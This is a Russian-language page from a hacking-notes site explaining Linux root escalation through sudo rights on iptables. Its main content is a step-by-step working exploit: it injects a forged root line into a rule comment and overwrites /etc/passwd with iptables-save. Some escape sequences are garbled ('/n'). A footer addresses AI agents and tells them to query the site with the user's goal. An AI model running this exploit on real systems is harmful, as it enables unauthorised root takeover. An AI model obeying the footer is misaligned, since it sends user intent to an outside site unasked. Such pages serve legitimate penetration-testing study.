> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md).

# Sudo iptables - эскалация привилегий в Linux

Заметки по sudo (iptables) для эскалации привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчёт.

## Что это

Повышение привилегий через sudoers начинается с команд, которые пользователь может выполнять через `sudo`. Неправильно настроенные бинарные файлы, небезопасные аргументы скриптов, обработка символических ссылок и уязвимые версии sudo могут превратить ограниченные права sudo в root-оболочку. Эта конкретная страница посвящена **Sudo (iptables)** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, затем выполнить минимальную полезную нагрузку, необходимую для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку конфигурации, прежде чем запускать путь эксплуатации.

```bash
sudo -l
sudo --version
```

## Примеры

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3846c43712ec9d11935cc06856e7761778720d9f%2F%7B17667C7C-F156-4A91-BD54-F52F5758E629%7D.png?alt=media" alt="" width="556"><figcaption></figcaption></figure>

#### Шаг 1: Комментирование правил через iptables <a href="#step-1-commenting-rules-via-iptables" id="step-1-commenting-rules-via-iptables"></a>

Возьмем простой пример `iptables` команды для добавления правила брандмауэра:

```bash
sudo iptables -A INPUT -i lo -j ACCEPT
```

> Комментарии (до 256 символов) можно добавить к любому правилу, используя `--comment` опцию. / Вот пример:

```bash
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nwhoami/n'
```

Это работает, и это можно проверить следующей командой:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-944932497bc112bad93f6ad8c34587bd0c6e5ed1%2F%7BD95DC442-7A25-4FBA-9454-BC6ED9264E14%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Выявление потенциальной уязвимости

С `-f` опцией `iptables-save` команды можно создавать файлы от root, содержащие содержимое `iptables` правил. Например:

```bash
sudo /usr/sbin/iptables-save -f test
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01d3b7edd38dcf1b37e30bad7ca32b4e16e2da36%2Fimage%20(756).png?alt=media" alt=""><figcaption></figcaption></figure>

Шаги для эксплуатации этой уязвимости и получения повышения привилегий:

1. **Сгенерировать зашифрованный пароль root**/ Используйте `openssl` для шифрования нового пароля в соответствующем формате:

```bash
openssl passwd jordan1234
```

$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0

2. **Вставить команду смены пароля**/ Используя `--comment` опцию, внедрите следующую команду, чтобы изменить пароль root

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nroot:$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0:root:/root:/bin/bash/n'
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbfe9641cbd7bc276270b36768f1ec1bb4448448%2Fimage%20(757).png?alt=media" alt=""><figcaption></figcaption></figure>

3. Раздавить `/etc/passwd`выполняющемся

```bash
sudo /usr/sbin/iptables-save -f /etc/passwd
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
